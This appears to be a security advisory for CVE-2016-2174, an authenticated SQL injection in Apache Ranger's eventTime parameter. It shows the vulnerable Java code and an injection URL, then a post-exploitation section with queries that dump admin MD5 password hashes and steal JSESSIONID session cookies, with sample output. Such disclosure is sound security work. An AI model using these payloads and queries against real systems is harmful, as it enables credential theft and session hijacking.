Apache Ranger eventTime parameter SQL injection Vulnerability (CVE-2016-2174)

Description

Apache Ranger =< 0.5.2 is vulnerable to an authenticated SQL injection in the eventTime parameter of the following GET request:

http://<apache_ranger_IP>:6080/service/plugins/policies/eventTime
?eventTime=' or '1'='1
&policyId=1

The vulnerable code is located in the org/apache/ranger/db/XXDataHistDao.java file in the findObjByEventTimeClassTypeAndId function:

public XXDataHist findObjByEventTimeClassTypeAndId(String eventTime, int classType, Long objId) {
    if (eventTime == null || objId == null) {
        return null;
    }
    try {
        String queryStr = "select obj.* from x_data_hist obj where obj.obj_class_type = "+classType
                + " and obj.obj_id = "+objId + " and obj.create_time <= '" + eventTime + "' ORDER BY obj.id DESC";
        Query jpaQuery = getEntityManager().createNativeQuery(queryStr, tClass).setMaxResults(1);
        
        return (XXDataHist) jpaQuery.getSingleResult();
    } catch (NoResultException e) {
        return null;
    }
}

This vulnerability has been fixed on April 12th 2016 in the following commit.

Exploitation

Use sqlmap to easily exploit it.

Post-exploitation

There are 2 interesting post-exploitation operations.

---

1. Dump user credentials

The x_portal_user and x_portal_user_role tables contain all user information

Database: ranger
Table: x_portal_user
[14 columns]
+--------------+---------------+
| Column       | Type          |
+--------------+---------------+
| added_by_id  | bigint(20)    |
| create_time  | datetime      |
| email        | varchar(512)  |
| first_name   | varchar(1022) |
| id           | bigint(20)    |
| last_name    | varchar(1022) |
| login_id     | varchar(767)  |
| notes        | varchar(4000) |
| password     | varchar(512)  |
| pub_scr_name | varchar(2048) |
| status       | int(11)       |
| upd_by_id    | bigint(20)    |
| update_time  | datetime      |
| user_src     | int(11)       |
+--------------+---------------+

Database: ranger
Table: x_portal_user_role
[8 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| added_by_id | bigint(20)   |
| create_time | datetime     |
| id          | bigint(20)   |
| status      | int(11)      |
| upd_by_id   | bigint(20)   |
| update_time | datetime     |
| user_id     | bigint(20)   |
| user_role   | varchar(128) |
+-------------+--------------+

Passwords are MD5 hashes in the following format password{login}, for instance the hash of the amb_ranger_admin account with admin as password is 85e5c9e3d39848cbea3c54033bb933ab:

$ echo -n 'admin{amb_ranger_admin}' | md5sum
85e5c9e3d39848cbea3c54033bb933ab  -

The following requests dump user information:

• Without a specific filter on their role:

select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3:
[*] , Admin, , admin, ceb4f32325eda6142bd65215f4c0f371, ROLE_SYS_ADMIN
[*] , rangerusersync, 1457692398755_962_66, ambari-qa, 70b8374d3dfe0325aaa5002a688c7e3b, ROLE_SYS_ADMIN
[*] , keyadmin, 1457692592328_160_91, amb_ranger_admin, a05f34d2dce2b4688fa82e82a89ba958, ROLE_KEY_ADMIN 

• With a specific filter on users with the ROLE_SYS_ADMIN role:

select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id and x_portal_user_role.user_role = 'ROLE_SYS_ADMIN' limit 3:
[*] , Admin, , admin, ceb4f32325eda6142bd65215f4c0f371, ROLE_SYS_ADMIN
[*] , rangerusersync, 1457692398755_962_66, amb_ranger_admin, 70b8374d3dfe0325aaa5002a688c7e3b, ROLE_SYS_ADMIN
[*]  , amb_ranger_admin, [email protected], mktg1, 85e5c9e3d39848cbea3c54033bb933ab, ROLE_SYS_ADMIN

The limitation here is the need of cracking hashes.

---

2. Dump and reuse user session “JSESSIONID” cookies

They are stored in the database in the x_auth_sess table:

Database: ranger
Table: x_auth_sess
[15 columns]
+---------------+---------------+
| Column        | Type          |
+---------------+---------------+
| added_by_id   | bigint(20)    |
| auth_provider | int(11)       |
| auth_status   | int(11)       |
| auth_time     | datetime      |
| auth_type     | int(11)       |
| create_time   | datetime      |
| device_type   | int(11)       |
| ext_sess_id   | varchar(512)  |
| id            | bigint(20)    |
| login_id      | varchar(767)  |
| req_ip        | varchar(48)   |
| req_ua        | varchar(1024) |
| upd_by_id     | bigint(20)    |
| update_time   | datetime      |
| user_id       | bigint(20)    |
+---------------+---------------+

The following request dumps user session cookies of admin users recently authenticated on the application:

select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3:
[*] 2016-05-08 13:30:11, admin, DEC6C0A899BB2E8793ABA9077311D8E6
[*] 2016-05-08 13:04:15, stduser, CD4142620CB7ED4186274D53B8E0D59E
[*] 2016-05-08 13:01:26, rangerusersync, D84D98B58FC0F9554A4CABF3E205A5E8

The complete database schema of the vulnerable version can be found here.

References

https://cwiki.apache.org/confluence/display/RANGER/Vulnerabilities+found+in+Ranger